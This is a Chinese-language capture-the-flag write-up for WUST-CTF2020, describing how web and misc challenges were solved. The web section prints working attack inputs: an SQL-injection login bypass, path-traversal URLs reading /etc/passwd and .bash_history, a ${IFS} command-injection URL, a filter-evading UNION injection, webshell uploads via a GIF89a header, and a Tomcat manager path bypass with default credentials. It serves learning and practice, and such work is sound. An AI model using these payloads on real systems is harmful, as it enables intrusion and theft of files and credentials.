WUST-CTF2020-WP

WEB

checkin

打開頁面顯示Who’s the author?,回到題目發現作者是52HeRtz,輸入52HeRtz發現有截斷,f12選中輸入框把maxlength改成一個較大的數即可輸入。然後發現提交按鈕不能用,選中提交按鈕刪除disabled=“disabled”(意思是禁止點擊)即可。提交彈出:一個遠古的博客: https://52hertz.tech
打開鏈接跳到一個博客首頁
在最後一篇博客發現名爲遠古的blog的文章,打開在最下面發現Here is your flag: 5_a_c@nner_can_Can_@_can}。這應該不是完整的flag,回到首頁發現會動態顯示flag,查看源代碼,搜索wctf找到對應的flag的前半段,拼接即可。

在這裏插入圖片描述

admin

題目說作爲admin登錄,嘗試萬能密碼,用戶名爲admin’#,密碼隨便輸,成功登入。

提示必須本地IP:X-Forwarded-For:127.0.0.1
用GET方式傳一個參數ais, 值爲520:?ais=520
用POST方式傳一個參數wust, 值爲1314 :burpsuite變更請求方法,注意get還是要在網址那傳參,wust=131

提示離flag很近了,給了個網址,但應該順序是亂的
在這裏插入圖片描述
先拼接https://paste.ubuntu.com打開
在這裏插入圖片描述
隨便輸入個字符結果地址是https://paste.ubuntu.com/p/rJcP4y52Yv/
這和題目給的網址類似,按照這個格式拼接嘗試即可

CV Maker

先註冊個賬號,然後登錄。發現頁面其他地方不能點擊。只有個更換圖像,考點應該是文件上傳。嘗試上傳一句話木馬均失敗,改變content-type均失敗,掃描發現有uploads目錄,訪問發現好多文件,按時間排序上傳一個正常的圖片發現就在這個目錄下,查看別人上傳的php文件,發現只能看到GIF89a,谷歌搜了下文件上傳發現這是文件頭檢驗。在這裏插入圖片描述
在burpsuite一句話前面加上GIF89a,然後去uploads目錄下查看剛剛上傳的php文件,用蟻劍成功連接。
在這裏插入圖片描述
到根目錄發現flag文件打開一片空白,然後又發現還有個readflag文件。因爲前不久就做過一題成功上傳了木馬,卻找不到flag,情形和現在一樣。當時看了wp就是說在終端運行readflag即可。

在這裏插入圖片描述

看來還是得再看看文件上傳,這次是碰巧了,hahaha。附上一篇不錯的文件上傳漏洞(繞過姿勢)

easyweb

本來沒做出來,結束時羣裏有人說可以讀bash_history,又去做了下,做出來了,不過讀bash_history是非預期的答案,haha

上傳一個文件返回一個下載地址,在最後輸錯會暴露絕對路徑
在這裏插入圖片描述
我們可以根據這向上層找找到根目錄先下載passwd文件查看有哪些用戶

http://47.96.229.52:12121/download?file=../../../../../../../etc/passwd

可以看到存在tomajp用戶,然後下載它的bash_history文件
在這裏插入圖片描述

47.96.229.52:12121/download?file=../../../../../../../home/tomajp/.bash_history

打開文件一般看最後發現
在這裏插入圖片描述
嘗試進入根目錄下的flaaaag下的what_you_want
下載文件打開即得到flag

47.96.229.52:12121/download?file=../../../../../../../flaaaag/what_you_want

在這裏插入圖片描述

train yourself to be godly

這題wp來自官方wp:WUST-CTF 2020 官方 Writeup

頁面是 examples,其實洞不在這裏,好像一般人很難想得到,肯定得需要 hint,於是就有了 Orange 大哥在 BlackHat 上的一個議題,就是那個 pdf,主要內容就是URL路徑參數不規範引發的問題,能造成的危害如下
在這裏插入圖片描述

apache中的tomcat/webapps目錄如下。

既然題目是用了examples目錄作爲網站根目錄,那麼上圖中的Web容器控制檯和管理界面這一點就顯得很有意思了
在這裏插入圖片描述

manage目錄是可以上傳WAR文件部署服務,也就是說可以通過manage目錄實現文件上傳,繼而實現木馬上傳,也就是第二個hint。
在這裏插入圖片描述

我們可以看到 pdf 有一個這樣的東西,告訴我們可以通過 /…;/manager/html 進入到manager頁面。

並且隨便加一串路徑,根據報錯信息知道我們當前的tomcat的root路徑爲examlpes
在這裏插入圖片描述

目錄穿越到 manager 得輸入密碼驗證,這裏是弱密碼 tomcat/tomcat

在這裏插入圖片描述

接下來就是上傳 war 包拿 webshell,github挑一個就好了,這裏用 LandGrey 的。

可以直接用jar cvf yourname.war webshell.jsp命令將webshell.jsp打包成war

選擇文件,上傳。

在這裏插入圖片描述

根據報錯信息明顯路徑拼結完是example/manager/html/upload,缺少一個/…;/,加一個再試

返回一個403,這說明/manager/html/upload路徑訪問到了,但是權限不夠,那一般問題就出在cookie或者session沒給,www沒有目錄訪問權限身上。按照目前的思路來說,不會出現服務器權限不足的問題,那就只能是cookie沒添。利用burpsuit從頭開始抓包,在訪問/…;/manager/html出現了Set-Cookie(set-Cookie的Path是指此cookie只在Path目錄下起作用),那麼我們403的問題就迎刃而解,只需要將/example換成Path參數指定的/manage就行,再把cookie加上就完事了。

在這裏插入圖片描述

修改post,添加cookie(ps: 由於cookie只能用一次,所以還是403的話,再請求一次/…;/manager/html,更換新的cookie就行了 ),上傳完畢後可以看到war已安裝好了,訪問上傳的war,注意這裏還有一個/…;/的坑,剩下的就是根據自己的馬找flag了。

當然直接找flag是找不到的,這道題我改得比較玄學,加了《聖經》新約:《提摩太後書》裏的文章。(逃
在這裏插入圖片描述
在這裏插入圖片描述

可以看到在Timothy裏面,cat 一下,是一段文章,這裏知道flag格式,grep一下 wctf2020,就可以看到flag了。
在這裏插入圖片描述
在這裏插入圖片描述

In the end, train yourself to be godly.

樸實無華

intval(字符串)爲0 但是intval(字符串+1) 會自動轉換成數值
MD5需要用一個0e開頭純數字加密後仍爲0e開頭純數字的數
空格用${IFS}代替

http://101.200.53.102:23333/fl4g.php?num=0x2022&md5=0e215962017&get_flag=cut${IFS}-b${IFS}1-222${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

顏值成績查詢

明顯是sql注入,經測試過濾了空格可用/**/代替,過濾了關鍵字可用大小寫替換。剩下沒啥了union查詢查出flag

http://101.200.53.102:10114/?stunum=-1/**/uNion/**/seleCt/**/1,flag,value/**/frOm/**/flag--+

在這裏插入圖片描述

吐槽一下sqlmap,明明設置了腳本還是沒跑出來,最後還是手工注入的,經檢查注入代碼發現註釋的–後面的空格也被替換成/**/了,導致註釋失效。看來還是得學學寫py腳本了。
補充:官方wp說檢查了UA,所以sqlmap根本跑不出來

MISC

Space Club

打開文件一片空白,但是如果Ctrl+a全選文本就會發現
在這裏插入圖片描述
那麼flag肯定是0和1搭配然後轉換,這裏說個技巧,比如這次比賽flag都是wctf2020{},那麼我們可以先看看w的二進制是什麼,然後往這方面靠。w的二進制是01110111,然而在文本編輯器裏不大容易看出來,放到sumlime中發現
在這裏插入圖片描述
這樣很明顯的發現每行正好對應01110…
把等於第一行的內容全部替換成0,然後第二行正好是00,然後把00替換成1,再把換行替換成空格即可。就會出現01字符串。
在這裏插入圖片描述
上腳本

import base64
import re
def shiZhuanAscii(ls):	#十進制列表轉ascii
	flag=''
	for i in ls:
	    flag=flag+chr(int(i))
	return flag
def erZhuanShi(ls):		#二進制列表轉十進制列表
	for i in range(len(ls)):
		ls[i]=int(ls[i],2)
	return ls
def splitS(s,n):	#把字符s每n個分到一個列表元素
	ls=re.findall('.{'+str(n)+'}', s)     
	return ls

#示例:

s="011101110110001101110100011001100011001000110000001100100011000001111011011010000011001101110010011001010101111100110001011100110101111101111001001100000111010101110010010111110110011001101100010000000110011101011111011100110011000101111000010111110111001100110001011110000101111101110011001100010111100001111101"
ls=splitS(s,8)  #['1100110', '1101100', '1100001', '1100111', '1111011', '1010111', '0110000', '1010111', '0101010', '1100110', '1110101', '1101110', '1101110', '1111001', '1111101']
ls=erZhuanShi(ls)  #[102, 108, 97, 103, 123, 87, 48, 87, 42, 102, 117, 110, 110, 121, 125]
ls=shiZhuanAscii(ls) #flag{W0W*funny}
print(ls)

直接跑出flag
在這裏插入圖片描述

Welcome

打開發現一個exe程序,還有一個xml文件,題目說明中說會打開攝像頭。

搜了下那個xml文件名發現相當於人臉識別。由於我用的Linux,用我姐的電腦打開exe文件等一小會攝像頭打開了,發現會有個圈圈圈注你的臉,左晃晃右晃晃也沒發現咋整,就在這時突然小黑框出現了flag。hahaha。

然後又研究了下咋回事,題目說三人行,exe中又會有圈,於是嘗試在畫面中讓相機捕捉到三個圈(可以用手比個圈)就出現了flag。

Alison likes jojo

打開文件兩個圖片,binwalk一波發現其中一個藏有壓縮包,分離發現壓縮包密碼。

這時一般有兩種情況
1.根據沒用到的那張圖片找到解壓密碼,再繼續下一步。這種一般密碼都比較複雜。
2.暴力破解得到密碼,然後再結合剩下那張圖片。

一邊暴力破解一邊分析下另一張圖片。一會暴力破解成功,密碼是純數字。解壓發現好像是base64:WVRKc2MySkhWbmxqV0Zac1dsYzBQUT09,幾次base64解密得到killerqueen。這應該是個祕鑰。這時首先想到了outguess加密(因爲前幾天bjdctf就有個outguess隱寫)。

outguess -r jljy.jpg -k killerqueen  out.txt

然後打開out.txt發現flag

Shop

根據題目提示nc連接,發現是個買flag的商店
在這裏插入圖片描述
1就是查看餘額,2買flag有兩個選項,買真的flag提示錢不夠(一般都是這個套路),但是可以買Cheaper flag,但也只能買兩個然後就沒錢了
在這裏插入圖片描述
一籌莫展時搜了下這樣的ctf題目,雖然沒搜到但一篇文章提到了讓價錢等於-1溢出,然後嘗試買Cheaper flag時輸一個較大的數。
在這裏插入圖片描述

我們可以發現花費是負的數,這樣餘額減去一個負的數就是一個比較大的正數。原理大概是計算機有固定運算能力,如果超過最大運算值會來個循環正太大就從負的開始了。不過現在一般都不會出這種問題,都有防護措施的。
然後去買real flag,成功買到
在這裏插入圖片描述

girlfriend

本來以爲是摩絲密碼,看wp才知道是九鍵的聲音

原理是DTMF
在這裏插入圖片描述
經搜索找到了軟件解密和py腳本,可能會有誤差,稍微調整下即可
在這裏插入圖片描述
在這裏插入圖片描述
解密得到flag:wctf2020{youaremygirlfriends}
如果出現提交不對,可能是識別的重複了,可結合AU看頻譜圖看看它的次數
在這裏插入圖片描述

打開提示flag被圖片蓋住,本來以爲是找那種分離pdf的工具,一番搜索無果,然後binwalk foremost分離試試,分離了一個圖片但還是沒啥用。

然後突然想到試試把pdf裏的圖片刪除試試。打開分離的圖片,然後找到文件頭和文件尾。在PDF裏刪除對應的十六進制。這時打開還是啥都沒有。想着改下後綴名吧,再打開就出現了一行十六進制。

這裏是個坑,我用的linux,不是根據後綴名打開文件的,打開源文件的是自帶的一個軟件,改後綴pdf後是默認wps打開。

在這裏插入圖片描述
用qq識圖複製十六進制轉文本得到flag

在這裏插入圖片描述

看到flag猜測應該是用ps分層把圖片那層去掉。
ps解法:打開pdf文件選擇圖像引入,選擇第一個圖像即可。

Find me

打開圖片查看備註發現⡇⡓⡄⡖⠂⠀⠂⠀⡋⡉⠔⠀⠔⡅⡯⡖⠔⠁⠔⡞⠔⡔⠔⡯⡽⠔⡕⠔⡕⠔⡕⠔⡕⠔⡕⡍=
明顯是盲文(幾個點最後有等於號)
在線解密,附上網站:盲文解密
在這裏插入圖片描述

小結

總的來說體驗還是不錯的,這次比賽可能是新生賽比較簡單點,題目大多考的不是很難的點而是腦洞吧,不過還是發現了自己的一點不足,還是得繼續努力。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章